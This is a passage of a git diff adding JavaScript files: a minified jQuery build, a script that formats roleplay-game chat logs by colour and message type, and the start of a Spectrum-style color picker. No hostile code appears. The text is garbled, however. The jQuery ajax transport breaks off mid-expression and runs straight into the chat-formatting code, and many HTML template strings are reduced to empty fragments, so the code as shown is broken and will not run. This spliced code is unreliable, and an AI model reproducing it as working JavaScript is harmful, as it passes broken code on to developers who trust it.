o, a, s, u = 0; + if (m(t)) return this.each(function(e) { + S(this).addClass(t.call(this, e, gt(this))) + }); + if ((e = vt(t)).length) + while (n = this[u++]) + if (i = gt(n), r = 1 === n.nodeType && " " + ht(i) + " ") { + a = 0; + while (o = e[a++]) r.indexOf(" " + o + " ") < 0 && (r += o + " "); + i !== (s = ht(r)) && n.setAttribute("class", s) + } + return this + }, + removeClass: function(t) { + var e, n, r, i, o, a, s, u = 0; + if (m(t)) return this.each(function(e) { + S(this).removeClass(t.call(this, e, gt(this))) + }); + if (!arguments.length) return this.attr("class", ""); + if ((e = vt(t)).length) + while (n = this[u++]) + if (i = gt(n), r = 1 === n.nodeType && " " + ht(i) + " ") { + a = 0; + while (o = e[a++]) + while (-1 < r.indexOf(" " + o + " ")) r = r.replace(" " + o + " ", " "); + i !== (s = ht(r)) && n.setAttribute("class", s) + } + return this + }, + toggleClass: function(i, t) { + var o = typeof i, + a = "string" === o || Array.isArray(i); + return "boolean" == typeof t && a ? t ? this.addClass(i) : this.removeClass(i) : m(i) ? this.each(function(e) { + S(this).toggleClass(i.call(this, e, gt(this), t), t) + }) : this.each(function() { + var e, t, n, r; + if (a) { + t = 0, n = S(this), r = vt(i); + while (e = r[t++]) n.hasClass(e) ? n.removeClass(e) : n.addClass(e) + } else void 0 !== i && "boolean" !== o || ((e = gt(this)) && Y.set(this, "__className__", e), this.setAttribute && this.setAttribute("class", e || !1 === i ? "" : Y.get(this, "__className__") || "")) + }) + }, + hasClass: function(e) { + var t, n, r = 0; + t = " " + e + " "; + while (n = this[r++]) + if (1 === n.nodeType && -1 < (" " + ht(gt(n)) + " ").indexOf(t)) return !0; + return !1 + } + }); + var yt = /\r/g; + S.fn.extend({ + val: function(n) { + var r, e, i, t = this[0]; + return arguments.length ? (i = m(n), this.each(function(e) { + var t; + 1 === this.nodeType && (null == (t = i ? n.call(this, e, S(this).val()) : n) ? t = "" : "number" == typeof t ? t += "" : Array.isArray(t) && (t = S.map(t, function(e) { + return null == e ? "" : e + "" + })), (r = S.valHooks[this.type] || S.valHooks[this.nodeName.toLowerCase()]) && "set" in r && void 0 !== r.set(this, t, "value") || (this.value = t)) + })) : t ? (r = S.valHooks[t.type] || S.valHooks[t.nodeName.toLowerCase()]) && "get" in r && void 0 !== (e = r.get(t, "value")) ? e : "string" == typeof(e = t.value) ? e.replace(yt, "") : null == e ? "" : e : void 0 + } + }), S.extend({ + valHooks: { + option: { + get: function(e) { + var t = S.find.attr(e, "value"); + return null != t ? t : ht(S.text(e)) + } + }, + select: { + get: function(e) { + var t, n, r, i = e.options, + o = e.selectedIndex, + a = "select-one" === e.type, + s = a ? null : [], + u = a ? o + 1 : i.length; + for (r = o < 0 ? u : a ? o : 0; r < u; r++) + if (((n = i[r]).selected || r === o) && !n.disabled && (!n.parentNode.disabled || !A(n.parentNode, "optgroup"))) { + if (t = S(n).val(), a) return t; + s.push(t) + } + return s + }, + set: function(e, t) { + var n, r, i = e.options, + o = S.makeArray(t), + a = i.length; + while (a--)((r = i[a]).selected = -1 < S.inArray(S.valHooks.option.get(r), o)) && (n = !0); + return n || (e.selectedIndex = -1), o + } + } + } + }), S.each(["radio", "checkbox"], function() { + S.valHooks[this] = { + set: function(e, t) { + if (Array.isArray(t)) return e.checked = -1 < S.inArray(S(e).val(), t) + } + }, y.checkOn || (S.valHooks[this].get = function(e) { + return null === e.getAttribute("value") ? "on" : e.value + }) + }), y.focusin = "onfocusin" in C; + var mt = /^(?:focusinfocus|focusoutblur)$/, + xt = function(e) { + e.stopPropagation() + }; + S.extend(S.event, { + trigger: function(e, t, n, r) { + var i, o, a, s, u, l, c, f, p = [n || E], + d = v.call(e, "type") ? e.type : e, + h = v.call(e, "namespace") ? e.namespace.split(".") : []; + if (o = f = a = n = n || E, 3 !== n.nodeType && 8 !== n.nodeType && !mt.test(d + S.event.triggered) && (-1 < d.indexOf(".") && (d = (h = d.split(".")).shift(), h.sort()), u = d.indexOf(":") < 0 && "on" + d, (e = e[S.expando] ? e : new S.Event(d, "object" == typeof e && e)).isTrigger = r ? 2 : 3, e.namespace = h.join("."), e.rnamespace = e.namespace ? new RegExp("(^|\\.)" + h.join("\\.(?:.*\\.|)") + "(\\.|$)") : null, e.result = void 0, e.target || (e.target = n), t = null == t ? [e] : S.makeArray(t, [e]), c = S.event.special[d] || {}, r || !c.trigger || !1 !== c.trigger.apply(n, t))) { + if (!r && !c.noBubble && !x(n)) { + for (s = c.delegateType || d, mt.test(s + d) || (o = o.parentNode); o; o = o.parentNode) p.push(o), a = o; + a === (n.ownerDocument || E) && p.push(a.defaultView || a.parentWindow || C) + } + i = 0; + while ((o = p[i++]) && !e.isPropagationStopped()) f = o, e.type = 1 < i ? s : c.bindType || d, (l = (Y.get(o, "events") || Object.create(null))[e.type] && Y.get(o, "handle")) && l.apply(o, t), (l = u && o[u]) && l.apply && V(o) && (e.result = l.apply(o, t), !1 === e.result && e.preventDefault()); + return e.type = d, r || e.isDefaultPrevented() || c._default && !1 !== c._default.apply(p.pop(), t) || !V(n) || u && m(n[d]) && !x(n) && ((a = n[u]) && (n[u] = null), S.event.triggered = d, e.isPropagationStopped() && f.addEventListener(d, xt), n[d](), e.isPropagationStopped() && f.removeEventListener(d, xt), S.event.triggered = void 0, a && (n[u] = a)), e.result + } + }, + simulate: function(e, t, n) { + var r = S.extend(new S.Event, n, { + type: e, + isSimulated: !0 + }); + S.event.trigger(r, null, t) + } + }), S.fn.extend({ + trigger: function(e, t) { + return this.each(function() { + S.event.trigger(e, t, this) + }) + }, + triggerHandler: function(e, t) { + var n = this[0]; + if (n) return S.event.trigger(e, t, n, !0) + } + }), y.focusin || S.each({ + focus: "focusin", + blur: "focusout" + }, function(n, r) { + var i = function(e) { + S.event.simulate(r, e.target, S.event.fix(e)) + }; + S.event.special[r] = { + setup: function() { + var e = this.ownerDocument || this.document || this, + t = Y.access(e, r); + t || e.addEventListener(n, i, !0), Y.access(e, r, (t || 0) + 1) + }, + teardown: function() { + var e = this.ownerDocument || this.document || this, + t = Y.access(e, r) - 1; + t ? Y.access(e, r, t) : (e.removeEventListener(n, i, !0), Y.remove(e, r)) + } + } + }); + var bt = C.location, + wt = { + guid: Date.now() + }, + Tt = /\?/; + S.parseXML = function(e) { + var t, n; + if (!e || "string" != typeof e) return null; + try { + t = (new C.DOMParser).parseFromString(e, "text/xml") + } catch (e) {} + return n = t && t.getElementsByTagName("parsererror")[0], t && !n || S.error("Invalid XML: " + (n ? S.map(n.childNodes, function(e) { + return e.textContent + }).join("\n") : e)), t + }; + var Ct = /\[\]$/, + Et = /\r?\n/g, + St = /^(?:submit|button|image|reset|file)$/i, + kt = /^(?:input|select|textarea|keygen)/i; + + function At(n, e, r, i) { + var t; + if (Array.isArray(e)) S.each(e, function(e, t) { + r || Ct.test(n) ? i(n, t) : At(n + "[" + ("object" == typeof t && null != t ? e : "") + "]", t, r, i) + }); + else if (r || "object" !== w(e)) i(n, e); + else + for (t in e) At(n + "[" + t + "]", e[t], r, i) + } + S.param = function(e, t) { + var n, r = [], + i = function(e, t) { + var n = m(t) ? t() : t; + r[r.length] = encodeURIComponent(e) + "=" + encodeURIComponent(null == n ? "" : n) + }; + if (null == e) return ""; + if (Array.isArray(e) || e.jquery && !S.isPlainObject(e)) S.each(e, function() { + i(this.name, this.value) + }); + else + for (n in e) At(n, e[n], t, i); + return r.join("&") + }, S.fn.extend({ + serialize: function() { + return S.param(this.serializeArray()) + }, + serializeArray: function() { + return this.map(function() { + var e = S.prop(this, "elements"); + return e ? S.makeArray(e) : this + }).filter(function() { + var e = this.type; + return this.name && !S(this).is(":disabled") && kt.test(this.nodeName) && !St.test(e) && (this.checked || !pe.test(e)) + }).map(function(e, t) { + var n = S(this).val(); + return null == n ? null : Array.isArray(n) ? S.map(n, function(e) { + return { + name: t.name, + value: e.replace(Et, "\r\n") + } + }) : { + name: t.name, + value: n.replace(Et, "\r\n") + } + }).get() + } + }); + var Nt = /%20/g, + jt = /#.*$/, + Dt = /([?&])_=[^&]*/, + qt = /^(.*?):[ \t]*([^\r\n]*)$/gm, + Lt = /^(?:GET|HEAD)$/, + Ht = /^\/\//, + Ot = {}, + Pt = {}, + Rt = "*/".concat("*"), + Mt = E.createElement("a"); + + function It(o) { + return function(e, t) { + "string" != typeof e && (t = e, e = "*"); + var n, r = 0, + i = e.toLowerCase().match(P) || []; + if (m(t)) + while (n = i[r++]) "+" === n[0] ? (n = n.slice(1) || "*", (o[n] = o[n] || []).unshift(t)) : (o[n] = o[n] || []).push(t) + } + } + + function Wt(t, i, o, a) { + var s = {}, + u = t === Pt; + + function l(e) { + var r; + return s[e] = !0, S.each(t[e] || [], function(e, t) { + var n = t(i, o, a); + return "string" != typeof n || u || s[n] ? u ? !(r = n) : void 0 : (i.dataTypes.unshift(n), l(n), !1) + }), r + } + return l(i.dataTypes[0]) || !s["*"] && l("*") + } + + function Ft(e, t) { + var n, r, i = S.ajaxSettings.flatOptions || {}; + for (n in t) void 0 !== t[n] && ((i[n] ? e : r || (r = {}))[n] = t[n]); + return r && S.extend(!0, e, r), e + } + Mt.href = bt.href, S.extend({ + active: 0, + lastModified: {}, + etag: {}, + ajaxSettings: { + url: bt.href, + type: "GET", + isLocal: /^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(bt.protocol), + global: !0, + processData: !0, + async: !0, + contentType: "application/x-www-form-urlencoded; charset=UTF-8", + accepts: { + "*": Rt, + text: "text/plain", + html: "text/html", + xml: "application/xml, text/xml", + json: "application/json, text/javascript" + }, + contents: { + xml: /\bxml\b/, + html: /\bhtml/, + json: /\bjson\b/ + }, + responseFields: { + xml: "responseXML", + text: "responseText", + json: "responseJSON" + }, + converters: { + "* text": String, + "text html": !0, + "text json": JSON.parse, + "text xml": S.parseXML + }, + flatOptions: { + url: !0, + context: !0 + } + }, + ajaxSetup: function(e, t) { + return t ? Ft(Ft(e, S.ajaxSettings), t) : Ft(S.ajaxSettings, e) + }, + ajaxPrefilter: It(Ot), + ajaxTransport: It(Pt), + ajax: function(e, t) { + "object" == typeof e && (t = e, e = void 0), t = t || {}; + var c, f, p, n, d, r, h, g, i, o, v = S.ajaxSetup({}, t), + y = v.context || v, + m = v.context && (y.nodeType || y.jquery) ? S(y) : S.event, + x = S.Deferred(), + b = S.Callbacks("once memory"), + w = v.statusCode || {}, + a = {}, + s = {}, + u = "canceled", + T = { + readyState: 0, + getResponseHeader: function(e) { + var t; + if (h) { + if (!n) { + n = {}; + while (t = qt.exec(p)) n[t[1].toLowerCase() + " "] = (n[t[1].toLowerCase() + " "] || []).concat(t[2]) + } + t = n[e.toLowerCase() + " "] + } + return null == t ? null : t.join(", ") + }, + getAllResponseHeaders: function() { + return h ? p : null + }, + setRequestHeader: function(e, t) { + return null == h && (e = s[e.toLowerCase()] = s[e.toLowerCase()] || e, a[e] = t), this + }, + overrideMimeType: function(e) { + return null == h && (v.mimeType = e), this + }, + statusCode: function(e) { + var t; + if (e) + if (h) T.always(e[T.status]); + else + for (t in e) w[t] = [w[t], e[t]]; + return this + }, + abort: function(e) { + var t = e || u; + return c && c.abort(t), l(0, t), this + } + }; + if (x.promise(T), v.url = ((e || v.url || bt.href) + "").replace(Ht, bt.protocol + "//"), v.type = t.method || t.type || v.method || v.type, v.dataTypes = (v.dataType || "*").toLowerCase().match(P) || [""], null == v.crossDomain) { + r = E.createElement("a"); + try { + r.href = v.url, r.href = r.href, v.crossDomain = Mt.protocol + "//" + Mt.host != r.protocol + "//" + r.host + } catch (e) { + v.crossDomain = !0 + } + } + if (v.data && v.processData && "string" != typeof v.data && (v.data = S.param(v.data, v.traditional)), Wt(Ot, v, t, T), h) return T; + for (i in (g = S.event && v.global) && 0 == S.active++ && S.event.trigger("ajaxStart"), v.type = v.type.toUpperCase(), v.hasContent = !Lt.test(v.type), f = v.url.replace(jt, ""), v.hasContent ? v.data && v.processData && 0 === (v.contentType || "").indexOf("application/x-www-form-urlencoded") && (v.data = v.data.replace(Nt, "+")) : (o = v.url.slice(f.length), v.data && (v.processData || "string" == typeof v.data) && (f += (Tt.test(f) ? "&" : "?") + v.data, delete v.data), !1 === v.cache && (f = f.replace(Dt, "$1"), o = (Tt.test(f) ? "&" : "?") + "_=" + wt.guid++ + o), v.url = f + o), v.ifModified && (S.lastModified[f] && T.setRequestHeader("If-Modified-Since", S.lastModified[f]), S.etag[f] && T.setRequestHeader("If-None-Match", S.etag[f])), (v.data && v.hasContent && !1 !== v.contentType || t.contentType) && T.setRequestHeader("Content-Type", v.contentType), T.setRequestHeader("Accept", v.dataTypes[0] && v.accepts[v.dataTypes[0]] ? v.accepts[v.dataTypes[0]] + ("*" !== v.dataTypes[0] ? ", " + Rt + "; q=0.01" : "") : v.accepts["*"]), v.headers) T.setRequestHeader(i, v.headers[i]); + if (v.beforeSend && (!1 === v.beforeSend.call(y, T, v) || h)) return T.abort(); + if (u = "abort", b.add(v.complete), T.done(v.success), T.fail(v.error), c = Wt(Pt, v, t, T)) { + if (T.readyState = 1, g && m.trigger("ajaxSend", [T, v]), h) return T; + v.async && 0 < v.timeout && (d = C.setTimeout(function() { + T.abort("timeout") + }, v.timeout)); + try { + h = !1, c.send(a, l) + } catch (e) { + if (h) throw e; + l(-1, e) + } + } else l(-1, "No Transport"); + + function l(e, t, n, r) { + var i, o, a, s, u, l = t; + h || (h = !0, d && C.clearTimeout(d), c = void 0, p = r || "", T.readyState = 0 < e ? 4 : 0, i = 200 <= e && e < 300 || 304 === e, n && (s = function(e, t, n) { + var r, i, o, a, s = e.contents, + u = e.dataTypes; + while ("*" === u[0]) u.shift(), void 0 === r && (r = e.mimeType || t.getResponseHeader("Content-Type")); + if (r) + for (i in s) + if (s[i] && s[i].test(r)) { + u.unshift(i); + break + } + if (u[0] in n) o = u[0]; + else { + for (i in n) { + if (!u[0] || e.converters[i + " " + u[0]]) { + o = i; + break + } + a || (a = i) + } + o = o || a + } + if (o) return o !== u[0] && u.unshift(o), n[o] + }(v, T, n)), !i && -1 < S.inArray("script", v.dataTypes) && S.inArray("json", v.dataTypes) < 0 && (v.converters["text script"] = function() {}), s = function(e, t, n, r) { + var i, o, a, s, u, l = {}, + c = e.dataTypes.slice(); + if (c[1]) + for (a in e.converters) l[a.toLowerCase()] = e.converters[a]; + o = c.shift(); + while (o) + if (e.responseFields[o] && (n[e.responseFields[o]] = t), !u && r && e.dataFilter && (t = e.dataFilter(t, e.dataType)), u = o, o = c.shift()) + if ("*" === o) o = u; + else if ("*" !== u && u !== o) { + if (!(a = l[u + " " + o] || l["* " + o])) + for (i in l) + if ((s = i.split(" "))[1] === o && (a = l[u + " " + s[0]] || l["* " + s[0]])) { + !0 === a ? a = l[i] : !0 !== l[i] && (o = s[0], c.unshift(s[1])); + break + } + if (!0 !== a) + if (a && e["throws"]) t = a(t); + else try { + t = a(t) + } catch (e) { + return { + state: "parsererror", + error: a ? e : "No conversion from " + u + " to " + o + } + } + } + return { + state: "success", + data: t + } + }(v, s, T, i), i ? (v.ifModified && ((u = T.getResponseHeader("Last-Modified")) && (S.lastModified[f] = u), (u = T.getResponseHeader("etag")) && (S.etag[f] = u)), 204 === e || "HEAD" === v.type ? l = "nocontent" : 304 === e ? l = "notmodified" : (l = s.state, o = s.data, i = !(a = s.error))) : (a = l, !e && l || (l = "error", e < 0 && (e = 0))), T.status = e, T.statusText = (t || l) + "", i ? x.resolveWith(y, [o, l, T]) : x.rejectWith(y, [T, l, a]), T.statusCode(w), w = void 0, g && m.trigger(i ? "ajaxSuccess" : "ajaxError", [T, v, i ? o : a]), b.fireWith(y, [T, l]), g && (m.trigger("ajaxComplete", [T, v]), --S.active || S.event.trigger("ajaxStop"))) + } + return T + }, + getJSON: function(e, t, n) { + return S.get(e, t, n, "json") + }, + getScript: function(e, t) { + return S.get(e, void 0, t, "script") + } + }), S.each(["get", "post"], function(e, i) { + S[i] = function(e, t, n, r) { + return m(t) && (r = r || n, n = t, t = void 0), S.ajax(S.extend({ + url: e, + type: i, + dataType: r, + data: t, + success: n + }, S.isPlainObject(e) && e)) + } + }), S.ajaxPrefilter(function(e) { + var t; + for (t in e.headers) "content-type" === t.toLowerCase() && (e.contentType = e.headers[t] || "") + }), S._evalUrl = function(e, t, n) { + return S.ajax({ + url: e, + type: "GET", + dataType: "script", + cache: !0, + async: !1, + global: !1, + converters: { + "text script": function() {} + }, + dataFilter: function(e) { + S.globalEval(e, t, n) + } + }) + }, S.fn.extend({ + wrapAll: function(e) { + var t; + return this[0] && (m(e) && (e = e.call(this[0])), t = S(e, this[0].ownerDocument).eq(0).clone(!0), this[0].parentNode && t.insertBefore(this[0]), t.map(function() { + var e = this; + while (e.firstElementChild) e = e.firstElementChild; + return e + }).append(this)), this + }, + wrapInner: function(n) { + return m(n) ? this.each(function(e) { + S(this).wrapInner(n.call(this, e)) + }) : this.each(function() { + var e = S(this), + t = e.contents(); + t.length ? t.wrapAll(n) : e.append(n) + }) + }, + wrap: function(t) { + var n = m(t); + return this.each(function(e) { + S(this).wrapAll(n ? t.call(this, e) : t) + }) + }, + unwrap: function(e) { + return this.parent(e).not("body").each(function() { + S(this).replaceWith(this.childNodes) + }), this + } + }), S.expr.pseudos.hidden = function(e) { + return !S.expr.pseudos.visible(e) + }, S.expr.pseudos.visible = function(e) { + return !!(e.offsetWidth || e.offsetHeight || e.getClientRects().length) + }, S.ajaxSettings.xhr = function() { + try { + return new C.XMLHttpRequest + } catch (e) {} + }; + var Bt = { + 0: 200, + 1223: 204 + }, + $t = S.ajaxSettings.xhr(); + y.cors = !!$t && "withCredentials" in $t, y.ajax = $t = !!$t, S.ajaxTransport(function(i) { + var o, a; + if (y.cors || $t && !i.crossDomain) return { + send: function(e, t) { + var n, r = i.xhr(); + if (r.open(i.type, i.url, i.async, i.username, i.password), i.xhrFields) + for (n in i.xhrFields) r[n] = i.xhrFields[n]; + for (n in i.mimeType && r.overrideMimeType && r.overrideMimeType(i.mimeType), i.crossDomain || e["X-Requested-With"] || (e["X-Requested-With"] = "XMLHttpRequest"), e) r.setRequestHeader(n, e[n]); + o = function(e) { + return function() { + o && (o = a = r.onload = r.onerror = r.onabort = r.ontimeout = r.onreadystatechange = null, "abort" === e ? r.abort() : "error" === e ? "number" != typeof r.status ? t(0, "error") : t(r.status, r.statusText) : t(Bt[r.status] || r.status, r.statusText, "text" !== (r.responseType || "text") || "string" != typeof r.responseText ? { + binary: r.response + } : { + text: r.responseText + }, r.getAllResponseHeaders())) + } + }, r.onload = o(), a = r.onerror = r.ontimeout = o("error"), void 0 !== r.onabort ? r.onabort = a : r.onreadystatechange = function() { + 4 === r.readyState && C.setTimeout(function() { + o && a() + }) + }, o = o("abort"); + try { + r.send(i.hasContent && i.data || null) + } catch (e) { + if (o) throw e + } + }, + abort: function() { + o && o() + } + } + }), S.ajaxPrefilter(function(e) { + e.crossDomain && (e.contents.script = !1) + }), S.ajaxSetup({ + accepts: { + script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript" + }, + contents: { + script: /\b(?:java|ecma)script\b/ + }, + converters: { + "text script": function(e) { + return S.globalEval(e), e + } + } + }), S.ajaxPrefilter("script", function(e) { + void 0 === e.cache && (e.cache = !1), e.crossDomain && (e.type = "GET") + }), S.ajaxTransport("script", function(n) { + var r, i; + if (n.crossDomain || n.scriptAttrs) return { + send: function(e, t) { + r = S("", "").split("\n"), t = 0; t < e.length; t++) + $(".output").append( + '
' + + (useRegex(e[t]) ? e[t].slice(11) : e[t].slice(0)) + + '
' + ); + $(".generated").each(function() { + var lines = $(this).text().split('\n'); + var formattedLines = []; + + for (var i = 0; i < lines.length; i++) { + var line = lines[i]; + + function replaceColorCodes(str) { + return str.replace(/\{([A-Fa-f0-9]{6})\}/g, function(match, p1) { + return ''; + }).replace(/\{([A-Fa-f0-9]{6})\}/g, ''); + } + + line = replaceColorCodes(line); + formattedLines.push(line); + } + + + var formattedText = formattedLines.join('
'); + + navigator.userAgent.indexOf("Chrome") != -1 && $(this).append(" ⠀"); + formattedText.toLowerCase().indexOf("*") >= 0 && $(this).addClass("me"); + + formattedText.toLowerCase().indexOf(" says:") >= 0 && $(this).addClass("white"); + formattedText.toLowerCase().indexOf(" says [low]:") >= 0 && $(this).addClass("grey"); + + formattedText.toLowerCase().indexOf(", $") >= 0 && $(this).addClass("grey"); + formattedText.toLowerCase().indexOf("you have received $") >= 0 && $(this).addClass("grey"); + + formattedText.toLowerCase().indexOf("you can die") >= 0 && $(this).addClass("death"); + formattedText.toLowerCase().indexOf(" whispers:") >= 0 && $(this).addClass("whisper"); + formattedText.toLowerCase().indexOf(" whispers:") >= 0 && formattedText.toLowerCase().indexOf("(car)") >= 0 && $(this).addClass("carwhisper"); + formattedText.toLowerCase().indexOf(" (cellphone)") >= 0 && $(this).addClass("whisper"); + + $(this).html(formattedText); + + $(this).textContent += "‎ "; + formattedText || $(this).remove(); + $(".generated:first").css("margin-top", "30px"); + $(".generated:first").css("padding-top", "10px"); + $(".generated:last").css("padding-bottom", "10px"); + $(".generated:last").css("margin-bottom", "30px"); + $(".generated").css( + "background-color", + "transparent" + ); + }); + + } + charName = $("#name").val().toLowerCase(); + var t = $.jStorage.get("lastCharName"); + t || $.jStorage.set("lastCharName", ""), + $("#name").val($.jStorage.get("lastCharName")), + $("#name").bind("input propertychange", function() { + (charName = $("#name").val().toLowerCase()), + $.jStorage.set("lastCharName", charName), + e(); + }); + var r = $.jStorage.get("lastFontSize"), + o = $.jStorage.get("lastLineHeight"); + r || o ? ($(".output").css({ + "font-size": $.jStorage.get("lastFontSize") + "px", + "line-height": $.jStorage.get("lastLineHeight") + "px", + }), + $("#font-label").text( + "font size (" + $.jStorage.get("lastFontSize") + "px):" + )) : + ($.jStorage.set("lastFontSize", "12"), + $.jStorage.set("lastLineHeight", "0")), + $("input[name='font-label']").bind("input propertychange", function() { + var newSize = parseInt($(this).val()); + if (newSize >= 16 && newSize <= 64) { + $(".output").css({ + "font-size": newSize + "px", + "line-height": newSize + "px", + }); + $("#font-label").text("font size (" + newSize + "px):"); + $.jStorage.set("lastFontSize", newSize); + $.jStorage.set("lastLineHeight", newSize); + } else {} + }); + + + $("textarea").bind("input propertychange", function() { + e(); + }), + $("#color-picker").spectrum({ + color: "#000", + showInput: !0, + preferredFormat: "hex", + change: function() { + $.jStorage.set("lastColor", $("#color-picker").spectrum("get").toHex()), + $(".generated").css( + "background-color", + "transparent" + ); + }, + }), + $("#color-picker").spectrum("set", $.jStorage.get("lastColor")); +}); \ No newline at end of file diff --git a/js/color-picker.js b/js/color-picker.js new file mode 100644 index 0000000..3c8e919 --- /dev/null +++ b/js/color-picker.js @@ -0,0 +1,1956 @@ +(function (a) { + if (typeof define === "function" && define.amd) { + define(["jquery"], a); + } else { + if (typeof exports == "object" && typeof module == "object") { + module.exports = a; + } else { + a(jQuery); + } + } + })(function (e, g) { + var m = { + beforeShow: b, + move: b, + change: b, + show: b, + hide: b, + color: false, + flat: false, + showInput: false, + allowEmpty: false, + showButtons: true, + clickoutFiresChange: true, + showInitial: false, + showPalette: false, + showPaletteOnly: false, + hideAfterPaletteSelect: false, + togglePaletteOnly: false, + showSelectionPalette: true, + localStorageKey: false, + appendTo: "body", + maxSelectionSize: 7, + cancelText: "cancel", + chooseText: "choose", + togglePaletteMoreText: "more", + togglePaletteLessText: "less", + clearText: "Clear Color Selection", + noColorSelectedText: "No Color Selected", + preferredFormat: false, + className: "", + containerClassName: "", + replacerClassName: "", + showAlpha: false, + theme: "sp-light", + palette: [ + [ + "#ffffff", + "#000000", + "#ff0000", + "#ff8000", + "#ffff00", + "#008000", + "#0000ff", + "#4b0082", + "#9400d3", + ], + ], + selectionPalette: [], + disabled: false, + offset: null, + }, + d = [], + h = !!/msie/i.exec(window.navigator.userAgent), + l = (function () { + function u(y, x) { + return !!~("" + y).indexOf(x); + } + var w = document.createElement("div"); + var v = w.style; + v.cssText = "background-color:rgba(0,0,0,.5)"; + return u(v.backgroundColor, "rgba") || u(v.backgroundColor, "hsla"); + })(), + q = [ + "
", + "
", + "
", + "
", + ].join(""), + p = (function () { + var u = ""; + if (h) { + for (var v = 1; v <= 6; v++) { + u += "
"; + } + } + return [ + "
", + "
", + "
", + "
", + "", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + "
", + u, + "
", + "
", + "
", + "
", + "
", + "", + "
", + "
", + "
", + "", + "", + "
", + "
", + "
", + ].join(""); + })(); + function s(w, y, C, u) { + var A = []; + for (var z = 0; z < w.length; z++) { + var B = w[z]; + if (B) { + var v = tinycolor(B); + var E = + v.toHsl().l < 0.5 + ? "sp-thumb-el sp-thumb-dark" + : "sp-thumb-el sp-thumb-light"; + E += tinycolor.equals(y, B) ? " sp-thumb-active" : ""; + var D = v.toString(u.preferredFormat || "rgb"); + var x = l + ? "background-color:" + v.toRgbString() + : "filter:" + v.toFilter(); + A.push( + '' + ); + } else { + var F = "sp-clear-display"; + A.push( + e("
") + .append( + e( + '' + ).attr("title", u.noColorSelectedText) + ) + .html() + ); + } + } + return "
" + A.join("") + "
"; + } + function o() { + for (var u = 0; u < d.length; u++) { + if (d[u]) { + d[u].hide(); + } + } + } + function n(w, u) { + var v = e.extend({}, m, w); + v.callbacks = { + move: t(v.move, u), + change: t(v.change, u), + show: t(v.show, u), + hide: t(v.hide, u), + beforeShow: t(v.beforeShow, u), + }; + return v; + } + function r(a8, ah) { + var a7 = n(ah, a8), + a3 = a7.flat, + W = a7.showSelectionPalette, + w = a7.localStorageKey, + ak = a7.theme, + R = a7.callbacks, + E = f(ad, 10), + O = false, + ap = false, + aM = 0, + af = 0, + aN = 0, + az = 0, + L = 0, + ay = 0, + aY = 0, + ar = 0, + Y = 0, + P = 0, + aC = 0, + aZ = 1, + ai = [], + al = [], + a5 = {}, + aI = a7.selectionPalette.slice(0), + aH = a7.maxSelectionSize, + x = "sp-dragging", + G = null; + var X = a8.ownerDocument, + N = X.body, + D = e(a8), + aW = false, + aO = e(p, X).addClass(ak), + u = aO.find(".sp-picker-container"), + I = aO.find(".sp-color"), + aL = aO.find(".sp-dragger"), + M = aO.find(".sp-hue"), + a2 = aO.find(".sp-slider"), + aE = aO.find(".sp-alpha-inner"), + Z = aO.find(".sp-alpha"), + aF = aO.find(".sp-alpha-handle"), + K = aO.find(".sp-input"), + Q = aO.find(".sp-palette"), + a6 = aO.find(".sp-initial"), + aq = aO.find(".sp-cancel"), + an = aO.find(".sp-clear"), + H = aO.find(".sp-choose"), + aQ = aO.find(".sp-palette-toggle"), + S = D.is("input"), + B = S && D.attr("type") === "color" && k(), + aB = S && !a3, + aU = aB + ? e(q) + .addClass(ak) + .addClass(a7.className) + .addClass(a7.replacerClassName) + : e([]), + aw = aB ? aU : D, + J = aU.find(".sp-preview-inner"), + T = a7.color || (S && D.val()), + aP = false, + V = a7.preferredFormat, + au = V, + F = !a7.showButtons || a7.clickoutFiresChange, + C = !T, + a4 = a7.allowEmpty && !B; + function v() { + if (a7.showPaletteOnly) { + a7.showPalette = true; + } + aQ.text( + a7.showPaletteOnly ? a7.togglePaletteMoreText : a7.togglePaletteLessText + ); + if (a7.palette) { + ai = a7.palette.slice(0); + al = e.isArray(ai[0]) ? ai : [ai]; + a5 = {}; + for (var bc = 0; bc < al.length; bc++) { + for (var bb = 0; bb < al[bc].length; bb++) { + var ba = tinycolor(al[bc][bb]).toRgbString(); + a5[ba] = true; + } + } + } + aO.toggleClass("sp-flat", a3); + aO.toggleClass("sp-input-disabled", !a7.showInput); + aO.toggleClass("sp-alpha-enabled", a7.showAlpha); + aO.toggleClass("sp-clear-enabled", a4); + aO.toggleClass("sp-buttons-disabled", !a7.showButtons); + aO.toggleClass("sp-palette-buttons-disabled", !a7.togglePaletteOnly); + aO.toggleClass("sp-palette-disabled", !a7.showPalette); + aO.toggleClass("sp-palette-only", a7.showPaletteOnly); + aO.toggleClass("sp-initial-disabled", !a7.showInitial); + aO.addClass(a7.className).addClass(a7.containerClassName); + ad(); + } + function aJ() { + if (h) { + aO.find("*:not(input)").attr("unselectable", "on"); + } + v(); + if (aB) { + D.after(aU).hide(); + } + if (!a4) { + an.hide(); + } + if (a3) { + D.after(aO).hide(); + } else { + var bb = a7.appendTo === "parent" ? D.parent() : e(a7.appendTo); + if (bb.length !== 1) { + bb = e("body"); + } + bb.append(aO); + } + aR(); + aw.bind("click.spectrum touchstart.spectrum", function (bd) { + if (!aW) { + ax(); + } + bd.stopPropagation(); + if (!e(bd.target).is("input")) { + bd.preventDefault(); + } + }); + if (D.is(":disabled") || a7.disabled === true) { + U(); + } + aO.click(j); + K.change(aS); + K.bind("paste", function () { + setTimeout(aS, 1); + }); + K.keydown(function (bd) { + if (bd.keyCode == 13) { + aS(); + } + }); + aq.text(a7.cancelText); + aq.bind("click.spectrum", function (bd) { + bd.stopPropagation(); + bd.preventDefault(); + av(); + aG(); + }); + an.attr("title", a7.clearText); + an.bind("click.spectrum", function (bd) { + bd.stopPropagation(); + bd.preventDefault(); + C = true; + aK(); + if (a3) { + ao(true); + } + }); + H.text(a7.chooseText); + H.bind("click.spectrum", function (bd) { + bd.stopPropagation(); + bd.preventDefault(); + if (h && K.is(":focus")) { + K.trigger("change"); + } + if (aA()) { + ao(true); + aG(); + } + }); + aQ.text( + a7.showPaletteOnly ? a7.togglePaletteMoreText : a7.togglePaletteLessText + ); + aQ.bind("click.spectrum", function (bd) { + bd.stopPropagation(); + bd.preventDefault(); + a7.showPaletteOnly = !a7.showPaletteOnly; + if (!a7.showPaletteOnly && !a3) { + aO.css("left", "-=" + (u.outerWidth(true) + 5)); + } + v(); + }); + c( + Z, + function (bf, be, bd) { + aZ = bf / 